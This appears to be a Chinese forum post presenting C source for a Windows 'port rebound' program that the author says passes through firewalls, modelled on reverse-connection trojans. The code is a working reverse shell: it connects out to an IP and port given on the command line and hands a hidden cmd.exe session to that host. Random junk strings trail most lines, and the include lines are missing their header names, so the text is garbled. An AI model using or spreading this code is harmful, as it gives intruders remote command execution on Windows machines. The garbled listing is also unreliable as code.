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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !84Lvg0&  
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/* ============================== e!0xh  
Rebound port in Windows NT 2MB>NM<xO  
By wind,2006/7 ajkV"~w',|  
===============================*/ Q"s6HZ"YI  
#include Xc+YoA0Ez  
#include xJ<RQCW$  
^/Hf$tYI!`  
#pragma comment(lib,"wsock32.lib") >!Gq[i0  
bq5ySy{8  
void OutputShell(); (~Bm\Jn  
SOCKET sClient; E uO:}[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CnuM=S:  
K'2N:.D:  
void main(int argc,char **argv) j&dCP@G  
{ ()j)}F#Z`  
WSADATA stWsaData; ,X|FyO(p  
int nRet; @[joM*U  
SOCKADDR_IN stSaiClient,stSaiServer; =P,mix|  
De 3;}]wC  
if(argc != 3) Vel(+HS  
{ -hfDf{QN  
printf("Useage:\n\rRebound DestIP DestPort\n"); wL3BgCxqDL  
return; gLSI?  
} _"F=4`lJ  
ug{sQyLN  
WSAStartup(MAKEWORD(2,2),&stWsaData); |:SV=T:  
|Zn;O6c#L5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "1""1";  
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stSaiClient.sin_family = AF_INET; GZ<@#~1%\  
stSaiClient.sin_port = htons(0); iuqJPW^}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >r)UDa+  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y,mo}X<>  
{ .z$UNB(!M  
printf("Bind Socket Failed!\n"); p\I3fI0i  
return; U(+QrC:  
} ph)=:*A6&  
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stSaiServer.sin_family = AF_INET; OWfB8*4@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Te!eM{_$T  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9(X~  
aiX4;'$x!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f dJg7r*  
{ LDw.2E  
printf("Connect Error!"); zZ9Ei-Q  
return; Yrf?|,  
} 4]zn,g?&  
OutputShell(); 902A,*qq  
} r#j3O}(n  
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void OutputShell() QHXpX9  
{ oT:w GBW  
char szBuff[1024]; SANb g&$  
SECURITY_ATTRIBUTES stSecurityAttributes; MS2/<LD3d  
OSVERSIONINFO stOsversionInfo; wBI:}N@.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {a>JQW5=  
STARTUPINFO stStartupInfo; >f9Q&c$R  
char *szShell; CXu$0DQ(  
PROCESS_INFORMATION stProcessInformation; * XDe:A  
unsigned long lBytesRead; 9]chv>dO)=  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <b4} B   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kSJ;kz,_  
stSecurityAttributes.lpSecurityDescriptor = 0; ?TDmW8G}J  
stSecurityAttributes.bInheritHandle = TRUE; O d6'bO;G  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jA@ uV,w  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $rjm MSxi  
&H,UWtU+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g C8 deC8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PHez5}T  
stStartupInfo.wShowWindow = SW_HIDE; &a >UVs?=  
stStartupInfo.hStdInput = hReadPipe; yWN'va1+$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5^qs>k[mN  
*c.w:DkfB  
GetVersionEx(&stOsversionInfo); BB/c5?V  
LEg|R+ 6E  
switch(stOsversionInfo.dwPlatformId) x `%x f  
{ ^}gZ+!kA  
case 1: :1UOT'_  
szShell = "command.com"; 55y}t%5  
break; $Zi {1w  
default: >Ir?)h  
szShell = "cmd.exe"; 4;jAdWj3  
break; +U1fa9NSn  
} t=fAG,k5  
/lHs]) ,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <g&GIFE,  
8SiWAOQAL  
send(sClient,szMsg,77,0); 5M>SrZH  
while(1) FD8  
{ 't \sXN+1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pP\^bjI   
if(lBytesRead) ]]u_Mdk  
{ a[=B?Bd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5P('SFq'=  
send(sClient,szBuff,lBytesRead,0); NP.qh1{NP  
}  j)mS3#cH  
else E_z,%aD[  
{ ! OVi\v 'm  
lBytesRead=recv(sClient,szBuff,1024,0); 4/x.qoj  
if(lBytesRead<=0) break; |<8g 2A{X  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2fm6G).m  
} d| {<SRAI  
} MqWM!v-M  
!cO<N~0*5x  
return; )Ps<u-V  
}
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